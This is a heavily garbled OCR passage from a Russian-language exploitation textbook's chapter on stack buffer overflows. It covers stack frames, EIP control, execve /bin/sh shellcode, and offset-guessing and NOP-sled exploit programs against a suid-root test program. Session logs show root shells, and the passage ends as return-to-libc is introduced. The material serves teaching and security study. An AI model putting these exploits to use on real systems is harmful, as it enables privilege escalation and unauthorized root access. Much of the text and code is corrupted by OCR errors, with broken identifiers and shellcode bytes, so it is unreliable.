26 Глава 1. Введение в эксплуатацию уязвимостей 0x804843b <triangle+ll>- 0x8048440 <tnang!e+16>: 0x8048441 <triangle+17>- 0x8048446 <tnangle+22>- 0x8048448 <triangle+24> 0x804844b <triangle+27>- 0x804844d <tnangle+29> 0x8048451 <triangle+33>: 0x8048453 <triangle+35>. 0x8048456 <triangle+38>. 0x8048459 <triangle+41>. 0x804845c <tnang1e+44>- 0x804845e <triangle+46> 0x8048461 <triangle+49>- 0x8048464 <triangle+52> 0x8048466 <triangle+54> 0x8048469 <tnangle+57>. 0x804846a <triangle+58> 0x804846b <tnangle+59> 0x804846c <triangle+60> mov eld mov repz mov mov imul mov sar shr lea sar mov mov mov add pop pop pop ret $0x8049508.Sesi $0x30,%esp movsl *ds:( Sesi). %i 0x8(Sebp). %eax %eax,%edx 0xcUebp).*edx %ебх,%еах $0xlf Деах $0xlf Деах Цеах, Sedx. 1), Ueax %eax *eax.0xffffffd4«ebp) 0xffffffd4(*ebp).*eax ЯеахДеах $0x30.«esp %esi ^edi ?ebp Итоги В этой главе вы познакомились с основными концепциями, необходимыми для понимания остального материала книги. Непременно выделите время на знакомство с ними. Если прежде вы не сталкивались с ассемблером х86 и C++, вероятно, вам придется немного подготовиться, чтобы в полной мере понять последующие главы.
ГЛАВА 2 Переполнение стека Переполнение стека традиционно является одним из самых популярных и хорошо известных методов эксплуатации уязвимостей. Методам переполнения стека во всевозможных популярных архитектурах посвящены десятки, если не сотни статей. Очень часто встречаются ссылки на статью, которая, вероятно, стала первым открытым обсуждением переполнения стека — «Smashing the Stack for Fun and Profit» («Взлом стека для развлечения и прибыли») автора Алефа Вана (Aleph One1). В этой статье, написанной в 1996 г., впервые ясно и четко объяснялись уязвимости, основанные на переполнении буферов, и возможности их использования. Мы рекомендуем ознакомиться с оригиналом статьи, опубликованным в журнале «Phrack» и доступном по адресу www.wiley. com/compbooks/koziol. Метод переполнения стека изобрел не Алеф Ван; эта информация появилась лет за десять, а то и больше, перед публикацией «Smashing the Stack». Теоретически переполнение стека появилось одновременно с языком С, а регулярная эксплуатация уязвимостей имеет место уже более 25 лет. Хотя методы переполнения стека составляют самый доступный и хорошо документированный класс уязвимостей, они по-прежнему преобладают в современных программах. Обратитесь к своему любимому списку рассылки по вопросам безопасности; скорее всего, вы найдете в нем упоминание об обнаружении очередной уязвимости, основанной на переполнении стека. Буферы Буфером называется непрерывный блок памяти ограниченного размера. Самую распространенную разновидность буферов в языке С составляют массивы. Имен но они будут рассматриваться в начале этой главы. Переполнение стека становится возможным благодаря тому, что в языках С и С+ I- отсутствует встроенный механизм проверки границ массивов. Другими с/ювами, язык С и его потомки не имеют встроенной функции, которая бы про меряла, что объем данных, копируемых в буфер, не превышает объем самого f>v фсрп llccil/IOIIUM '. bill.К .1 Ъ'ПИ ( Ml,IS Levy) llfHIMC'l ИС(ЧЧ1
28 Глава 2. Переполнение стека Соответственно, если разработчик программы не запрограммировал специальную проверку объема ввода, данные могут заполнить буфер целиком, а если их объем достаточно велик — то запись продолжится за концом буфера. Как будет показано в этой главе, запись за концом буфера приводит к всевозможным неожиданным последствиям. Взгляните на простой пример, который демонстрирует отсутствие проверки границ буферов в С (этот и другие фрагменты и программы можно найти по адресу www.wiley.com/compbooks/koziol). int mainO { int array[5] = {1, 2. 3. 4, 5}. prinrf("%d\n", array[5]; } В этом примере мы создаем С-массив. Массиву присваивается имя array, и он содержит пять элементов. В программе допущена элементарная ошибка, характерная для новичков: массив из пяти элементов начинается с элемента с нулевым индексом (array[0]) и заканчивается элементом с индексом 4 (array[4]). Мы пытаемся прочитать то, что вроде бы должно быть пятым элементом массива, но в действительности читаем содержимое памяти за концом массива. Компилятор не выдает сообщения об ошибке, но попытка запуска программы приводит к неожиданному результату. [root@1ocalhost /]# gcc buffer с [root@1ocalhost /]# ./a out -1073743044 [root@localhost /]# Пример показывает, как легко прочитать данные за концом буфера; язык С не обеспечивает встроенной защиты. А как насчет записи за границей буфера? Оказывается, это тоже возможно. Давайте попробуем намеренно записать данные за последним элементом и посмотрим, что произойдет. int mainO { int аггау[5]. int i; for (i = 0; i <= 255. ++i) { array[i] = 10, Как и в предыдущем случае, компилятор не выдает ни ошибок, ни предупреждений. Но при выполнении этой программы происходит сбой. [root@localhost /]# gcc buffer2.c [root@localhost /]# /a out Segmentation fault (core dumped) [root@loca 1 host /]# Вероятно, вы уже знаете по собственному опыту, что при переполнении буфера программа обычно аварийно завершается или работает не так, как предполагалось. Программист возвращается к исходному тексту, находит ошибку и исправляет ее. По постойте — а если в буфер копировать то, что вводит пользователь? А если программа получает входные данные от другой программы, которая может эму- /1ир()пап»ся человеком (скажем, от клиента сети TCP/IP)?
Стек 29 Если программист напишет код для копирования пользовательского ввода в буфер, пользователь может намеренно ввести больше данных, чем буфер способен вместить. А превышение объема буфера может приводить к разным последствиям — это может быть не только аварийное завершение программы, но и выполнение инструкций, предоставленных пользователем. В первую очередь нас интересуют эти ситуации, но прежде чем пытаться брать выполнение программы под свой контроль, мы должны рассмотреть переполнение буфера, хранящегося в стеке, с точки зрения управления памятью. Стек Как упоминалось в главе 1, стек принадлежит к структурам данных категории LIFO: последний элемент, помещенный в стек, первым извлекается из него. Граница стека определяется регистром ESP, указывающим на вершину стека. Стековые команды PUSH и POP используют регистр ESP для определения адреса, по которому должна выполняться операция. В большинстве архитектур (и особенно на процессорах IA32, которым посвящена эта глава) регистр ESP указывает на адрес последнего используемого элемента стека. В других реализациях он может указывать на первый свободный адрес. Данные помещаются в стек командой PUSH, а извлекаются командой POP. Эти оптимизированные команды чрезвычайно эффективно выполняют операции занесения и извлечения данных. Давайте посмотрим, как изменится содержимое стека после выполнения двух команд PUSH. PUSH 1 PUSH ADDR VAR В этом фрагменте сначала в стек заносится число 1, а затем поверх него — адрес переменной VAR. Итоговое состояние стека показано на рис. 2.1. Адрес | Значение 64341 Oh | Адрес переменной VAR 643414п| 1 643418И | ESP указывает на этот адрес Рис. 2.1. Занесение данных в стек (команда PUSH) Регистр ESP укалывает па вершину пекл, го ее 11, на адрес (Н.'М I Oh ! in,пения u носятся в стек и морилке выполнении команд, полому епачача Ьу/пч une< еио число 1, л aaieM лчре» переменной VAR При пыпочпеппп команды 1Ч1Ч1 тачг пне CSP уменьшаем ч \\,\ \, че че| о по новому a/ipei у, чрапчивм\ч ч в рейв 11м I SP, .сник ываеи ч инимн.г < пню
30 Глава 2. Переполнение стека Данные, занесенные в стек, рано или поздно потребуется извлечь — эта задача решается командой POP. Как происходит извлечение данных и адреса в нашем примере? POP EAX POP EBX Сначала значение с вершины стека (того адреса, на который указывает регистр ESP) загружается в регистр ЕАХ. Затем команда POP выполняется снова, но данные на этот раз копируются в ЕВХ. Состояние стека после выполнения этих команд показано на рис. 2.2. Адрес | Значение 64341 Oh | Адрес переменной VAR 643414h | 1 643418h| ESP указывает на этот адрес Рис. 2.2. Извлечение данных из стека (команда POP) В работе со стеком также задействован регистр ЕВ Р. Обычно он используется при вычислении адреса по отношению к другому адресу, иногда называемому указателем кадра (frame pointer). Хотя регистр ЕВР может использоваться в качестве регистра общего назначения, традиционно он применяется для работы со стеком. Например, в следующей команде ЕВР требуется для индексирования: MOV EAX.[EBP+10h] Команда записывает в регистр ЕАХ двойное слово, находящееся на 16 байт раньше в стеке (помните: стек распространяется вниз). Функции и стек Стек предназначен прежде всего для эффективного использования функций в программе. С позиции нижнего уровня вызов функции в программе означает такую передачу управления, чтобы команда (или группа команд) могла быть выполнена независимо от основной части программы. Что еще важнее, после завершения функция возвращает управление в точку вызова. Передача управления наиболее эффективно реализуется при помощи стека. Возьмем простую функцию С и разберемся, как используется стек при ее вызове. void functiondnt a. int b) { int array[5]. } mainO
Функции и стек 31 functionA.2), printf("This is where the return address points"); } В этом примере команды main выполняются вплоть до вызова функции. Дальше последовательное выполнение команд прерывается, и управление передается в функцию function. Прежде всего аргументы этой функции, а и Ь, заносятся в стек в обратном порядке. После сохранения аргументов в стеке происходит вызов функции, и в стек заносится адрес возврата (RET) — адрес, хранящийся в регистре EIP на момент вызова function. Он определяет точку, в которую после завершения функции должно быть возвращено управление для продолжения основного потока выполнения. В нашем примере в стек будет занесен адрес следующей команды: printf("This is where the return address points"), Перед непосредственным выполнением команд, составляющих функцию function, выполняется пролог, В сущности, на этом этапе в стеке сохраняются некоторые служебные данные, чтобы предотвратить их возможное разрушение в ходе выполнения функции. В стеке сохраняется текущее значение ЕВР, потому что внутри функции оно должно быть изменено для работы с локальными данными в стеке. После завершения функции нам еще понадобится старое значение ЕВР для вычисления адресов, относящихся к функции main. С другой стороны, после сохранения ЕВР в стеке мы можем свободно скопировать в этот регистр текущее значение указателя стека (ESP) и использовать регистр для работы с локальными данными. Пролог завершается вычислением объема адресного пространства, необходимого для хранения переменных, локальных по отношению к function, и резервированием соответствующей области в стеке. Память резервируется вычитанием суммарного объема переменных из ESP. Наконец, в стек заносятся переменные, локальные по отношению к function; в нашем примере это массив array. Ila рис. 2.3 показано содержимое стека на этой стадии. RET ЕВР array Младшие адреса памяти и основание стека Сшршии пдросп пимши и поршиип < mtui I'm У.'Л. (', iрук i VI"I» и»инкм ми им юпн функции
32 Глава 2. Переполнение стека Надеюсь, вы получили общее представление о том, как функция работает со стеком. Теперь давайте «копнем поглубже» и взглянем на происходящее с точки зрения ассемблера. Откомпилируйте нашу простую программу следующей командой: [root@loca!host /]# gcc -mpreferred-stack-boundary=2 -ggdb function.с -о function Обязательно укажите ключ -ggdb, потому что мы хотим откомпилировать отладочную информацию для gdb — отладчика из проекта GNU (за дополнительной информацией обращайтесь по адресу www.gnu.org/manual/gdb-4.17/gdb.html). Также в строке указывается ключ, обеспечивающий приращение стека с шагом DWORD. Если этого не сделать, gcc оптимизирует стек, и задача станет сложнее, чем нужно на данном этапе. Загрузите результат в gdb. [root@loca!host /]# gdb function GNU gdb 5.2.1 Copyright 2002 Free Software Foundation, Inc. Для начала посмотрим, как вызывается функция function. Дизассемблируйте main: (gdb) disas main Dump of assembler code for function main. 0x8048438 <main>: 0x8048439 <main+l>: 0x804843b <main+3>- 0x804843e <main+6>- 0x8048441 <main+9>. 0x8048443 <main+ll> 0x8048445 <main+13> 0x804844a <main+18> 0x804844d <main+21> 0x804844e <main+22> End of assembler dump. Мы видим, что в точках <main+9> и <main+ll> значения параметров @x1 и 0x2) заносятся в стек в обратном порядке. В точке <main+13> находится команда call, которая заносит в стек адрес возврата (RET), хотя в листинге это не показано. Команда call передает управление function по адресу 0x8048430. Теперь дизас- семблируем function и посмотрим, что происходит при передаче управления: (gdb) disas main Dump of assembler code for function function 0x8048438 <function> 0x8048431 <function+l> 0x8048433 <function+3> 0x8048436 <function+6>. 0x8048437 <function+7>- End of assembler dump Поскольку наша функция ограничивается созданием локальной переменной array, дисассемблированный код получается относительно простым. В сущности, он содержит только пролог функции и команду возврата управления main, ("начала пролог сохраняет в стеке текущий указатель кадра ЕВР. Затем и точке <function+l> lekymiiii указатель пека копируемся и ГВР Наконец, iiponoi иыдс push move sub sub push push Uebp Uesp.&ebp $0x8.&esp $0x8.Uesp $0x2 $0x1 call 0x8048430 add <function> $0x10.Sesp leave ret push move sub leave ret %ebp Uesp.Uebp $0x8 ^esp
Переполнение буферов в стеке 33 ляет в стеке место для локальной переменной array (<function+3>). Размер массива array составляет всего 5 байт, но память для стека выделяется с 4-байтовыми приращениями, поэтому в конечном счете для локальных переменных в стеке резервируются 8 байт. Переполнение буферов в стеке В этом разделе мы выясним, что происходит при занесении в буфер слишком большого объема данных. Только после этого можно будет переходить к более интересным темам, а именно к эксплуатации переполнения буфера и перехвату управления. Создадим простую функцию, которая читает в буфер данные, введенные пользователем, а затем выводит их в поток stdout: void return_input (void){ char array[30], gets(array); pnntf("Us\n", array), } mainO { returnjnputO, return 0. } Функция не проверяет ввод и позволяет занести в array столько элементов, сколько захочет пользователь. Откомпилируйте программу (не забудьте ключ, определяющий приращение стека). Запустите программу и введите данные, которые должны быть занесены в буфер. Для начала просто введите десять символов А: [root@localhost /]# /overflow АААААААААА АААААААААА Наша простая функция возвращает введенную строку; все работает, как положено. Теперь попробуем ввести строку из 40 символов А. Это приведет к переполнению буфера и записи данных в другие области стека. [root@localhost /]# /overflow АААААААААААААААААААААААААААААААААААААААА АААААААААААААААААААААААААААААААААААААААА Segmentation fault (core dumped) [root@localhost /]# Как и предполагалось, произошла ошибка сегментации, но почему? {\\о про изошло со стеком? Па рис 2А показано, как ш.илядп г с \vk после псрспочпснпн array. Мы заполнили IV2 оаГиопып массив спмиоламп Л и продолжили аанш i. ( 11.1ч,i ла было cicpm хранимое значение I В1\ и \\,\ <чо м<< м- иичии <ю< ч. диоппое < юно с meci iia;maiepii4iiMM предсммчепием Л Чимчие пажнее, мы шинами mi iuei ю
34 Глава 2. Переполнение стека b а АААА RET АААА ЕВР АААААААААААА АААААААААА Массив C0 байт, но 32 байта в стеке) АААААААААА Рис. 2.4. Переполнение массива приводит к перезаписи других данных в стеке адреса возврата (RET) еще одно двойное слово с символами А. При выходе из функции процессор читает адрес возврата (теперь это 0x41414141, шестнадцате- ричный эквивалент АААА) и пытается передать управление по этому адресу. Однако указанный адрес то ли недействителен, то ли находится в защищенном адресном пространстве, и программа завершается с ошибкой сегментации. Не верьте нам на слово; просмотрите содержимое регистров на момент ошибки сегментации: [root@lоса1 host /]# gdb overflow core (gdb) info registers eax ecx edx ebx esp ebp esi edi eip 0x29 0x1000 0x0 0x401509e4 0xbffffab8 0x41414141 0x40016b64 0xbffffb2c 0x41414141 Результаты несколько сокращены для экономии места, но вы увидите нечто похожее. Регистры ЕВР и EIP содержат одинаковое значение 0x41414141! Таким образом, мы успешно записали символы А за пределами буфера, на месте регистра ЕВР и адреса возврата. Управление значением EIP Итак, мы успешно переполнили буфер, стерли содержимое регистра ЕВР и адрес возврата, что привело к записи в EIP наших данных. Хотя все это привело лишь к сбою программы, в принципе такие переполнения могут быть полезны для DOS-атак, но атакуемая программа должна быть достаточно важной, чтобы
Переполнение буферов в стеке 35 кто-нибудь обратил внимание на ее недоступность. В нашем случае это не так. Давайте перейдем к перехвату управления, то есть фактически к определению данных, записываемых в регистр EIP. В этом разделе мы будем использовать предыдущий пример, но вместо того, чтобы записывать в буфер символы А, мы запишем в него адреса. После загрузки адреса возврата из стека и его сохранения в EIP будет выполнена команда, находящаяся по указанному адресу. Так происходит перехват управления. Сначала необходимо определить используемый адрес. Пусть программа вызовет retum_input вместо того, чтобы возвращать управление main. Чтобы определить адрес для передачи управления, необходимо вернуться к gdb и узнать, по какому адресу вызывается return_input: [root@"localhost /]# gdb overflow (gdb) chsas main Dump of assembler code for function main- 0x80484b8 <main> 0x80484b9 <main+l> 0x80484bb <main+3>- 0x80484c0 <main+8>- 0x80484c5 <main+13> 0x80484c6 <main+22> End of assembler dump. push mov call mov Uebp Uesp.Uebp 0x8048490 $0х0Деах <return pop input> Uebp ret Очевидно, что нам нужен адрес 0x80484bb. ПРИМЕЧАНИЕ В вашей среде адреса могут быть другими — обязательно определите правильный адрес вызова returnjnput. Поскольку адрес 0x80484bb не имеет нормального представления в ASCII-сим- иолах, придется написать небольшую программу для преобразования этого адреса в символьный ввод. После этого мы возьмем выходные данные программы и занесем их в буфер overflow. Чтобы написать такую программу, необходимо определить размер буфера и увеличить его на 8 (дополнительные 8 байт для записи в ЕВР и адрес возврата). Проверьте пролог returnjnput при помощи gdb; вы узнаете, сколько места резервируется в стеке для array. В нашем примере команда выглядит так: 0x8048493 <returnjnput+3> sub $0x20.*esp Шестнадцатеричная запись 0x20 соответствует десятичному числу 32, плюс еще 8 получаем 40. Теперь можно написать программу преобразования адресом и сим иолы: main(){ int i=0. char stuffing[44]. for (i=0.i<=40,i+=4) Mlonq *) &stuffing[il = 0x80484bb, put s( stuffing) \
36 Глава 2. Переполнение стека Итак, давайте направим выходные данные address_to_char в overflow. Как и прежде, программа ожидает пользовательского ввода, а затем выводит полученные данные. В результате перезаписи адреса возврата будет выполнена команда по адресу 0x80484bb, записанному в EIP. Программа «зацикливается» и снова запрашивает пользовательский ввод: [root@loca!host /]# (./address_to_char,cat) | ./overflow input ' "' а<0 . input input input Поздравляем — вы только что успешно эксплуатировали уязвимость! Использование уязвимостей для получения root-привилегий Пора сделать что-нибудь полезное с только что выявленной уязвимостью. Конечно, перехват управления в программе overflow.с — штука любопытная, но ведь не будете же вы рассказывать об этом друзьям: «Знаете, а я заставил 15-строчную программу на С запрашивать ввод дважды!». Нет, требуется что-нибудь более эффектное. Переполнение такого рода обычно используется для получения root-привилегий (uid 0). Для этого вы атакуете процесс, работающий с правами root, и заставляете его запустить командный процессор (shell) системной функцией execve. Если процесс работает с правами root, вы получаете командный процессор с правами root. Такой тип локального переполнения становится все более популярным, поскольку все меньше программ работает с правами root — после эксплуатации их уязвимостей часто удается с помощью локального эксплойта получить доступ на уровне root. Запуск командного процессора с правами root — не единственное, что можно сделать путем эксплуатации уязвимостей программы. В некоторых следующих главах будут рассмотрены другие варианты эксплуатации уязвимостей. А пока достаточно сказать, что запуск привилегированного командного процессора до сих пор остается одним из самых доступных и распространенных приемов. На самом деле все несколько сложнее, чем кажется на первый взгляд. В коде запуска привилегированного командного процессора используется системная функция execve. На языке C++ аналогичный фрагмент выглядит примерно так: int main(){ char *name[2], name[0] = "/bin/sh"; name[l] = 0x0, execve(name[0]. name. 0x0), exit@). } Если откомпилировать программу и выполнить ее, она запустит командный процессор:
Использование уязвимостей для получения root-привилегий 37 [jack@0day local]$ gcc shell.с -о shell [jack@0day local]$ ./shell sh-2.05b# Все это, конечно, замечательно, но как внедрить код С в уязвимую область ввода? Можно ли ввести его с клавиатуры, как символы А? Нет, нельзя. Задача внедрения кода С гораздо сложнее. В уязвимую область ввода должны внедряться низкоуровневые машинные команды, а для этого код запуска командного процессора придется перевести на ассемблер и извлечь из распечатки коды команд. Это долгий и непростой процесс, поэтому в книге ему будет посвящено несколько глав. Сейчас мы не будем подробно рассматривать процедуру создания внедряемого кода в C++; за подробными объяснениями обращайтесь к главе 3. Внедряемый код для приведенного выше фрагмента на C++, запускающего командный процессор, выглядит так: M\xeb\xla\x5e\x31\xcO\x88\x46\x07\x8d\xle\x89\x5e\x08\x89\x46M ,,\x0c\xb0\x0b\x89\xfЗ\x8d\x4e\x08\x8d\x5б\x0c\xcct\x80\xe8\xel,, "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\ Давайте протестируем его и убедимся в том, что он делает то же, что и эквивалентный С-код. Откомпилируйте следующую программу: char shellcode[] = "\xeb\xla\x5e\x31\xc0\x88\x46\x07\x8d\xle\x89\x5e\x08\x89\x46" "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xelM n\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68", int mainO { int *ret; ret = (int *)&ret + 2. (*ret) = (int)shellcode. } Напустите программу: [jack@0day local]$ gcc shellcode с -о shellcode [jack@0day local]$ /shellcode sh-2 05b# ()iлично — мы имеем внедряемый код запуска командного процессора, который можно записать в уязвимый буфер. Но чтобы внедренный код мог выпод питься, необходимо перехватить управление. Для этого будет использоваться ирном, уже знакомый нам по предыдущему примеру, где мы заставили приложение повторно запросить входные данные у пользователя. Мы заменим адрес ип.шрата своим адресом и загрузим его в ЕТР, что приведет к выполнению находящейся по этому адресу команды. Но какой адрес нужно записывать на мест a/ipeca возврата? Конечно, первый адрес нашего внедряемого кода. В лом ему час после извлечения адреса возврата из стека и его загрузки в EIP первой вы помненной командой будет первая команда внедряемого кода.
38 Глава 2. Переполнение стека Несмотря на внешнюю простоту, реализовать подобную схему на практике довольно трудно. Кстати, на этом этапе многие начинающие хакеры расстраиваются и бросают попытки. Мы рассмотрим некоторые распространенные проблемы. Проблема адресации Одна из самых сложных задач, возникающих при попытке организовать выполнение пользовательского внедренного кода, — идентификация начального адреса. За долгие годы было разработано немало разных приемов. Мы опишем самый распространенный метод, предложенный в уже упоминавшейся статье «Smashing the Stack». Чтобы узнать адрес внедряемого кода, можно попытаться угадать, где он находится в памяти. Процесс подбора будет не совсем случайным, потому что мы знаем, что во всех программах стек начинается с одного и того же адреса. Зная этот адрес, можно попробовать предположить, на какое расстояние внедряемый код удален от начального адреса. Написать программу для определения адреса не так уж сложно. Зная адрес ESP, остается лишь подобрать смещение первой команды внедряемого кода. Начнем с получения адреса ESP. unsigned long find_start(void) { _asm ("movl Uesp, Яеах"). } int main(){ pnntf ("ОхЯх\п" ,find_start()). } Затем пишется маленькая программа для эксплойта: int maindnt argc.char **argv[]){ char little_array[512]; if (argc > 1) strcpy(little_array,argv[l]). } Эта простая программа получает входные данные из командной строки и заносит их в массив без проверки границ. Для получения root-привилегий необходимо назначить root владельцем программы и установить бит suid. Если после этого войти в систему в качестве обычного пользователя (не root) и запустить программу, вы получите root-привилегии. [jack@0day local]$ sudo chown root victim [jack@0day local]$ sudo chmod +s victim Теперь напишем программу, которая бы позволяла подобрать смещение от начала программы до первой инструкции внедряемого кода (идея примера позаимствована у Lamagra): #include <stdlib h> #define offset_size 0 #define buffer size 512
Использование уязвимостей для получения root-привилегий 39 char sc[] = "\xeb\xla\x5e\x31\xc0\x88\x46\x07\x8d\xle\x89\x5e\x08\x89\x46" "\x0c\xb0\x0b\x89\xfЗ\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xeГ, "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; unsigned long find_start(void) { _asm__("movl Uesp.Ueax"); } int maindnt argc, char *argv[]) { char *buff. *ptr; long *addr_ptr. addr, int offset=offset_size, bsize=buffer_size. int i; if (argc > 1) bsize = atoi(argv[l]), if (argc > 2) offset = atoi(argv[2]). addr = find_start() - offset, printf("Attempting address. Ox%x\n", addr), ptr = buff. addr_ptr = (long *) ptr, for (i = 0; i < bsize, i+=4) *(addr_ptr++) = addr, ptr += 4, for (i = 0. i < strlen(sc); i++) *(ptr++) = sc[i]. buff[bsize - 1] = '\0'. memcpy(buff."BUF=\4); putenv(buff). system("/bin/bash"), } ('генерируйте внедряемый код с адресом возврата, запустите эксплойт и передайте ему вывод программы-генератора внедряемого кода. В общем случае мы не знаем правильное смещение, поэтому его придется подбирать до тех пор, пока не запустится командный процессор. ljack@0day local]$ /attack 500 Using address 0xbfffd768 |jack@0day local]$ /victim $BUF 'Гак, ничего не произошло. Это потому, что смещение было недостаточно большим (помните, размер массива составляет 512 байт). [jcukPOday local]$ /attack 800 Using address 0xbfffe7c8 I jcirkPOday local 1$ /victim $BUF '.(M)iii(nit (it ion fdiil I
40 Глава 2. Переполнение стека На этот раз мы зашли слишком далеко и сгенерировали слишком большое смещение. [jack@0day local]$ ./attack 550 Using address: 0xbffffl88 [jack@0day local]$ ./victim $BUF Segmentation fault [jack@0day local]$ ./attack 575 Using address- 0xbfffe798 [jack@0day local]$ /victim $BUF Segmentation fault [jack@0day local]$ ./attack 590 Using address. 0xbfffe908 [jack@0day local]$ /victim $BUF Illegal Instruction Похоже, процесс подбора правильного смещения может продолжаться вечно. Может, на этот раз повезет? [jack@0day local]$ ./attack 595 Using address 0xbfffe971 [jack@0day local]$ /victim $BUF Illegal Instruction [jack@0day local]$ ./attack 598 Using address- 0xbfffe9ea [jack@0day local]$ ./victim $BUF Illegal Instruction [jack@0day local]$ ./attack 600 Using address 0xbfffea04 [jack@0day local]$ /victim $BUF sh-2.05# id uid=0(root) gid=0(root) groups=0(root),10(wheel) sh-2.05b# Отлично — мы подобрали смещение и запустили привилегированный командный процессор. В действительности обычно требуется гораздо больше попыток (честно говоря, мы немного смухлевали для экономии места). ВНИМАНИЕ Программа выполнялась на компьютере с системой Red Hat 9.0. Конкретные результаты зависят от дистрибутива, версии и множества других факторов. Представленный прием довольно скучен. Вам приходится многократно угадывать смещение, а неправильные предположения иногда приводят к аварийному завершению программы. Для такой маленькой программы это вполне приемлемо, но перезапуск более серьезного приложения иногда требует времени и усилий. В следующем разделе рассматривается более эффективный способ использования смещений. Метод NOP Подобрать правильное смещение вручную нелегко. А если правильных смещений может быть несколько? Нельзя ли сконструировать внедряемый код гак,
Использование уязвимостей для получения root-привилегий 41 чтобы перехват управления мог осуществляться по разным смещениям? Несомненно, это ускорит процесс и повысит его эффективность. УI, л я увеличения числа потенциальных смещений можно воспользоваться приемом, который называется методом NOP. Кодом NOP (No Operation) обозначаются команды, обеспечивающие небольшую задержку. В основном они служат для хронометража в ассемблере или как в нашем примере — для создания относительно больших блоков команд, которые ничего не делают. В нашем примере начало внедряемого кода будет заполнено командами NOP. Если предполагаемое смещение «угодит» в любую точку секции NOP, после выполнения всех «пустых» команд NOP процессор в конечном счете доберется до реального кода. Таким образом, нам придется подбирать не точное смещение, а смещение, относящееся к любому адресу в большом блоке NOP. Процесс называется дополнением NOP, или созданием NOP-заполнителя. Эти термины еще неоднократно иетретятся вам в будущем. Давайте перепишем программу атаки так, чтобы она сначала генерировала NOP-заполнитель, а затем присоединяла к нему внедряемый код. В процессорах IA32 команда NOP обозначается кодом 0x90 (существует масса других команд и их комбинаций, которые могут использоваться для создания эффекта NOP, но в этой главе они не рассматриваются). #include <stdlib.h> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x90 char shellcode[] = "\xeb\xla\x5e\x31\xc0\x88\x46\x07\x8d\xle\x89\x5e\x08\x89\x46" "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xel" "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\ unsigned long get_sp(void) { asm ("movl Uesp.Ueax"), } void maindnt argc. char *argv[]) { char *buff. *ptr. long *addr_ptr. addr. int offset=DEFAULT_OFFSET. bsize=DEFAULT_BUFFER_SIZE: int i. if (argc > 1) bsize = atoi(argv[l]), it (argc > 2) offset = atoi(argv[2]), П ('(buff = malloc(bsize))) { pnntf("Can't allocate memory \n"), exit(O). \
42 Глава 2. Переполнение стека addr = get_sp() - offset; printf("Using address- OxUx\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; memcpy(buff."BUF=".4). putenv(buff); systemC/bin/bash"): } Запустим новую программу для того же исходного кода и посмотрим, что произойдет. [jack@0day local]$ /nopattack 600 Using address. 0xbfffdd68 [jack@0day local]$ /victim $BUF sh-2.05# id uid=0(root) gid=0(root) groups=0(root).10(wheel) sh-2 05b# Впрочем, мы знали, что это смещение должно сработать. Попробуем другие: [jack@0day local]$ /nopattack 590 Using address; 0xbffff368 [jack@0day local]$ ./victim $BUF sh-2.05# id uid=0(root) gid=0(root) groups=0(root).10(wheel) sh-2.05b# На этот раз попадание пришлось в NOP-заполнитель, и все снова получилось. И как далеко можно зайти? [jack@0day local]$ /nopattack 585 Using address 0xbffffld8 [jack@0day local]$ /victim $BUF sh-2 05# id uid=0(root) gid=0(root) groups=0(root),10(wheel) sh-2.05b# Даже этот простой пример показывает, что наличие NOP-заполнителя повышает вероятность успеха при подборе в 15-25 раз. Борьба с неисполняемым стеком Предыдущий пример сработал благодаря возможности выполнения команд в стеке. Для защиты от подобных атак во многих операционных системах (Solaris, OpenBSD, и вероятно, Windows в ближайшем будущем) программам
Борьба с неисполняемым стеком 43 запрещается выполнение кода в стеке. Эта мера защищает от любых эксплой- тов, ориентированных на запись исполняемого кода в стек. Вероятно, вы уже догадались, что возможность выполнения кода в стеке не критична. Это всего лишь самый простой, известный и наиболее надежный метод эксплуатации уязвимостей. Столкнувшись с неисполняемым стеком, можно воспользоваться другим приемом, называемым возвратом в libc. Фактически мы воспользуемся вездесущей библиотекой libc для экспорта вызовов системных функций в libc. В этом случае эксплуатация уязвимостей станет возможной даже при защищенном стеке. Возврат в libc Как же работает метод возврата в libc? Простоты ради предположим, что регистр EIP уже находится под контролем, и в него можно занести любой адрес для выполнения; короче говоря, благодаря обнаружению некоего уязвимого буфера мы полностью перехватили контроль над программой. Iвместо возврата управления в стек, как в традиционном методе переполнения с токовых буферов, мы заставим программу вернуть управление по адресу конкретной функции динамической библиотеки. Функция динамической библиотеки не будет храниться в стеке, и это позволит обойти ограничения на выполнение кода в стеке. Как выбрать функцию для возврата? В идеальном случае функция должна удовлетворять двум условиям: о Динамическая библиотека должна быть широко распространена и присутствовать в большинстве программ. о Функция из библиотеки должна обеспечивать максимальную свободу действий, чтобы мы могли запустить командный процессор (или сделать что-нибудь еще по нашему усмотрению). Обоим требованиям в наибольшей степени соответствует libc — стандартная библиотека С, содержащая практически все стандартные функции С, которые мы принимаем как нечто само собой разумеющееся. По своей природе все функции библиотеки являются общими (собственно, это входит в определение библиотеки функций), а следовательно, доступными для любой программы, п которую включена библиотека libc. Но если любая программа может обра шться к этим общим функциям, нельзя ли использовать это обстоятельство и наших целях? Все, что потребуется, — передать управление по адресу библио iочной функции, которую мы хотим задействовать (разумеется, с cootbotci пующпми аргументами), и такая функция будет исполнена. Дли начала не будем усложнять задачу и ограничимся запуском командною процессора. Проще всего воспользоваться функцией system(); в контексте наше к) примера эта функция всего лишь получает аргумент и выполняется сiроком /bin/sh. Передав функции system() аргумент /bin/sh, мы получим командный процессор. Выполнять код в стеке для этого не придется; переход ооущесииш поя прямо по адресу функции system() в библиотеке С. Пшерееный вопрос как передать аргумент функции systemQ? В гущпопп, мы \oiiim передать ука.ш ir»n, n,i проку (bin/sh), мчпран дотла!,! oi.iii. ni.iiio iikii.i
